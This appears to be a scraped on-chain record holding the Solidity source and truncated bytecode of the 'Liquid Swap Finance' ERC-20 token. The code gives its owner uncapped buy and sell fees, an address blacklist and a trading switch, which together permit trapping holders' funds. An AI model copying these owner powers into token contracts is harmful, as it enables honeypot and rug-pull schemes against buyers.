20d86371d63656fcf8c0bb8d5da451ba6c552eb5fc4206aef228c1bd12f52e11710029
{"success": true, "error": null, "results": {}}
3,115
0xd369b834c7c7f40eb5bfc70cf9c8593b1ea86077
/** LIQUID SWAP FINANCE Automated liquidity pools based on smart contracts WEBSITE:liqswap.net */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LIQSWAPFINANCE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Liquid Swap Finance"; string private constant _symbol = "LSF"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0xb4B3dA97499e06Ec602004f9396D12194E78861f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 7500000 * 10**9; uint256 public _maxWalletSize = 30000000 * 10**9; uint256 public _swapTokensAtAmount = 5000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613065565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280601381526020017f4c697175696420537761702046696e616e636500000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600381526020017f4c53460000000000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff